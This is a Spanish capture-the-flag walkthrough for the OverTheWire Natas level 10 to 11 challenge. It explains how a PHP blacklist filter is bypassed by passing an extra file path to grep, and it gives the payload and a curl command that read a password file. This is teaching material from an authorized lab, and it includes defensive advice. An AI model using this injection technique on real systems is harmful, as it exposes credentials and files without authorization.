Natas Nivel 10 a 11
Nivel oficial: http://natas10.natas.labs.overthewire.org
Este nivel es una variante endurecida del nivel 9: el servidor filtra caracteres peligrosos para bloquear la inyección de comandos encadenados, pero el filtrado es insuficiente porque no neutraliza el propio argumento que se pasa a grep. La técnica aquí no consiste en añadir un comando nuevo, sino en abusar de la herramienta legítima que ya está ejecutándose.
Este ejercicio forma parte de OverTheWire Natas, un laboratorio de seguridad web legal y autorizado. No apliques estas técnicas fuera de entornos con permiso explícito.
Objetivo
Leer el contenido de /etc/natas_webpass/natas11 manipulando el campo de búsqueda de la aplicación web, a pesar de que el servidor bloquea los caracteres ;, | y &.
Qué aprendes
| Concepto / Comando | Para qué sirve |
|---|---|
| Filtrado de caracteres en PHP | Intentar bloquear inyección de comandos mediante una lista negra |
preg_match con lista negra | Patrón de defensa incompleto: solo bloquea lo que el desarrollador imaginó |
grep PATRON fichero1 fichero2 | grep acepta múltiples rutas; las imprime todas si hay coincidencia |
Metacarácter . en regex | Casa con cualquier carácter; fuerza a grep a imprimir cada línea |
| Argumento-fichero extra | Añadir una ruta adicional al campo de búsqueda para que grep la incluya |
Concepto clave: filtrado por lista negra vs. neutralización real
La categoría de vulnerabilidad es Command Injection con bypass de lista negra (OWASP A03:2021 – Injection).
El patrón de defensa roto funciona así:
// Código simplificado del servidor natas10
if (preg_match('/[;|&]/', $key)) {
echo "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}El desarrollador bloqueó los caracteres que permiten encadenar comandos (;, |, &), pero no bloqueó los espacios ni las rutas de archivo. grep en Linux acepta múltiples rutas como argumentos posicionales. Si el usuario introduce PATRON /ruta/extra, el comando que se ejecuta es:
grep -i PATRON /ruta/extra dictionary.txtEs un único grep legítimo. No hay encadenamiento. El filtro no lo detecta. Pero ahora grep también lee /ruta/extra.
Paso a paso
1. Acceder al nivel
Abre el navegador o usa curl. Las credenciales de natas10 se obtienen resolviendo el nivel 9.
URL: http://natas10.natas.labs.overthewire.org
Usuario: natas10
Contraseña: <pass_natas10>
La página muestra un formulario de búsqueda sobre un diccionario. Visualiza el código fuente con el enlace “View sourcecode” para confirmar el filtro activo.
2. Entender la estructura del comando backend
El servidor construye la llamada así (simplificado):
grep -i <INPUT_USUARIO> dictionary.txtCon el filtro, solo se bloquea input que contenga ;, | o &. Espacios y rutas de archivo pasan sin problema.
3. Construir el payload
El objetivo es que grep también procese /etc/natas_webpass/natas11. El patrón . en regex casa con cualquier carácter, garantizando que se imprima al menos una línea de cada archivo que tenga contenido.
Payload que se introduce en el campo de búsqueda:
. /etc/natas_webpass/natas11
El comando que ejecuta el servidor queda:
grep -i . /etc/natas_webpass/natas11 dictionary.txt4. Enviar el payload
Puedes hacerlo desde el formulario web o con curl:
curl -u natas10:<pass_natas10> \
"http://natas10.natas.labs.overthewire.org/index.php" \
--data-urlencode "needle=. /etc/natas_webpass/natas11" \
--data "submit=Search"5. Leer la salida
La respuesta HTML incluirá algo similar a:
/etc/natas_webpass/natas11: <pass_natas11>
dictionary.txt: ...varias líneas del diccionario...
La primera línea contiene la contraseña de natas11. grep antepone el nombre del fichero cuando procesa más de un archivo, lo que hace trivial identificar cuál es cuál.
Por qué funciona
grep es una herramienta legítima del sistema. El filtro del servidor no puede distinguir entre un uso “normal” de grep con varios archivos y un uso malicioso, porque ambos son sintácticamente idénticos: grep PATRON archivo1 archivo2. La defensa por lista negra de operadores de shell (;|&) solo evita el encadenamiento de comandos distintos, pero no restringe los argumentos que recibe el comando ya autorizado. La vulnerabilidad no está en el shell, sino en permitir que input no saneado forme parte de los argumentos de una herramienta con acceso al sistema de archivos.
La lección de diseño es que la defensa correcta no es una lista negra de caracteres peligrosos, sino una lista blanca de caracteres permitidos (solo alfanuméricos, por ejemplo) o, mejor aún, evitar por completo construir comandos de shell con input del usuario.
Errores comunes
| Error | Causa | Solución |
|---|---|---|
| El servidor devuelve “Input contains an illegal character!” | El payload incluye ;, | o & | El payload correcto no necesita ninguno de esos caracteres; revisa que usas . /etc/natas_webpass/natas11 sin operadores de shell |
grep no devuelve nada de /etc/natas_webpass/natas11 | El patrón elegido no casa con ninguna línea del fichero | Usa . (punto sin comillas), que casa con cualquier carácter |
| La salida solo muestra líneas del diccionario | La ruta del fichero tiene un error tipográfico | Verifica la ruta exacta: /etc/natas_webpass/natas11 (minúsculas, sin extensión) |
curl devuelve 401 Unauthorized | Credenciales incorrectas en la cabecera Basic Auth | Comprueba que usas -u natas10:<pass_natas10> con la contraseña real del nivel 10 |
Pasar al siguiente nivel
Con la contraseña obtenida, accede al nivel 11:
URL: http://natas11.natas.labs.overthewire.org
Usuario: natas11
Contraseña: <pass_natas11>